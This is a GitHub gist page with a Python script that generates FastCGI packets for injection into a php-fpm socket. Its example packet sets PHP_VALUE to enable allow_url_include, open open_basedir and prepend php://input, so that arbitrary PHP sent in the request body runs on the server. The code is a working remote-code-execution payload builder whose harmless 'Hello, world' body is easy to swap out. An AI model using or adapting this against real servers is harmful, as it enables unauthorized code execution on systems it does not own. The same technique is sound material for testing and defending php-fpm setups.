Created
July 29, 2020 01:29
-
-
Save clubby789/3e29d8ca16374309c559e7ac66ee2fea to your computer and use it in GitHub Desktop.
A Python script to generate FastCGI packets to be injected into a php-fpm socket. Based on https://gist.github.com/wofeiwo/4f41381a388accbf91f8
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
# Ported to Python from https://gist.github.com/wofeiwo/4f41381a388accbf91f8 | |
# Only implements packet generation, not sending/receiving | |
import base64 | |
class FCGIClient: | |
def __init__(self): | |
self.VERSION_1 = 1; | |
self.BEGIN_REQUEST = 1; | |
self.ABORT_REQUEST = 2; | |
self.END_REQUEST = 3; | |
self.PARAMS = 4; | |
self.STDIN = 5; | |
self.STDOUT = 6; | |
self.STDERR = 7; | |
self.DATA = 8; | |
self.GET_VALUES = 9; | |
self.GET_VALUES_RESULT = 10; | |
self.UNKNOWN_TYPE = 11; | |
self.MAXTYPE = self.UNKNOWN_TYPE; | |
self.RESPONDER = 1; | |
self.AUTHORIZER = 2; | |
self.FILTER = 3; | |
self.REQUEST_COMPLETE = 0; | |
self.CANT_MPX_CONN = 1; | |
self.OVERLOADED = 2; | |
self.UNKNOWN_ROLE = 3; | |
self.MAX_CONNS = 'MAX_CONNS'; | |
self.MAX_REQS = 'MAX_REQS'; | |
self.MPXS_CONNS = 'MPXS_CONNS'; | |
self.HEADER_LEN = 8; | |
self.keepAlive = False | |
def setKeepAlive(self, b): | |
self.keepAlive = bool(b) | |
def buildPacket(self, type, content, request_id=1): | |
clen = len(content) | |
header = chr(self.VERSION_1) +\ | |
chr(type) +\ | |
chr((request_id >> 8) & 0xff) +\ | |
chr(request_id & 0xff) +\ | |
chr((clen >> 8) & 0xff) +\ | |
chr(clen & 0xff) +\ | |
chr(0) + chr(0) | |
header = header.encode('latin-1') | |
try: | |
content = content.encode('latin-1') | |
except: | |
pass | |
return header + content | |
def buildNvpair(self, name, value): | |
nlen = len(name) | |
vlen = len(value) | |
if (nlen < 128): | |
nvpair = chr(nlen) | |
else: | |
nvpair = chr((nlen >> 24) | 0x80) +\ | |
chr((nlen >> 16) & 0xff) +\ | |
chr((nlen >> 8) & 0xff) +\ | |
chr( nlen & 0xff) | |
if vlen < 128: | |
nvpair += chr(vlen) | |
else: | |
nvpair += chr((vlen >> 24) | 0x80) +\ | |
chr((vlen >> 16) & 0xff) +\ | |
chr((vlen >> 8) & 0xff) +\ | |
chr( vlen & 0xff) | |
nvpair = nvpair.encode('latin-1') | |
name = name.encode('latin-1') | |
value = value.encode('latin-1') | |
return nvpair + name + value | |
def readNvpair(self, data, length=None): | |
arr = {} | |
if length is None: | |
length = len(data) | |
p = 0 | |
while p != length: | |
nlen = ord(data[p]) | |
p += 1 | |
if nlen >= 128: | |
nlen = (nlen & 0x7f << 24) | |
nlen |= (ord(data[p]) << 16) | |
p += 1 | |
nlen |= (ord(data[p]) << 8) | |
p += 1 | |
nlen |= (ord(data[p])) | |
p += 1 | |
vlen = ord(data[p]) | |
p += 1 | |
if vlen >= 128: | |
vlen = (nlen & 0x7f << 24) | |
vlen |= (ord(data[p]) << 16) | |
p += 1 | |
vlen |= (ord(data[p]) << 8) | |
p += 1 | |
vlen |= (ord(data[p])) | |
p += 1 | |
arr[data[p:p+nlen]] = data[p+nlen:p+nlen+vlen] | |
p += (nlen+vlen) | |
return arr | |
def request(self, params, stdin): | |
response = b'' | |
packet = chr(0) + chr(self.RESPONDER) + chr(int(self.keepAlive)) + chr(0) * 5 | |
req = self.buildPacket(self.BEGIN_REQUEST, packet.encode('latin-1')) | |
paramsReq = b'' | |
for k, v in params.items(): | |
paramsReq += self.buildNvpair(k, v) | |
if paramsReq != b'': | |
req += self.buildPacket(self.PARAMS, paramsReq) | |
req += self.buildPacket(self.PARAMS, b'') | |
if stdin != b'': | |
req += self.buildPacket(self.STDIN, stdin) | |
req += self.buildPacket(self.STDIN, b'') | |
return req | |
# Example of generating a packet to send to a socket | |
client = FCGIClient() | |
fp = "/www/index.php" | |
req = "index.php" | |
uri = req + '?command=0' | |
code = "<?php echo('Hello, world!\n'); ?>" | |
php_values = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input" | |
params = { | |
'GATEWAY_INTERFACE' : 'FastCGI/1.0', | |
'REQUEST_METHOD' : 'POST', | |
'SCRIPT_FILENAME' : fp, | |
'SCRIPT_NAME' : req, | |
'QUERY_STRING' : 'command=0', | |
'REQUEST_URI' : uri, | |
'DOCUMENT_URI' : req, | |
'PHP_VALUE' : php_values, | |
'SERVER_SOFTWARE' : '80sec/wofeiwo', | |
'REMOTE_ADDR' : '127.0.0.1', | |
'REMOTE_PORT' : '9985', | |
'SERVER_ADDR' : '127.0.0.1', | |
'SERVER_PORT' : '80', | |
'SERVER_NAME' : 'localhost', | |
'SERVER_PROTOCOL' : 'HTTP/1.1', | |
'CONTENT_LENGTH' : str(len(code)) | |
} | |
packet = client.request(params, code) | |
print(base64.b64encode(packet).decode()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment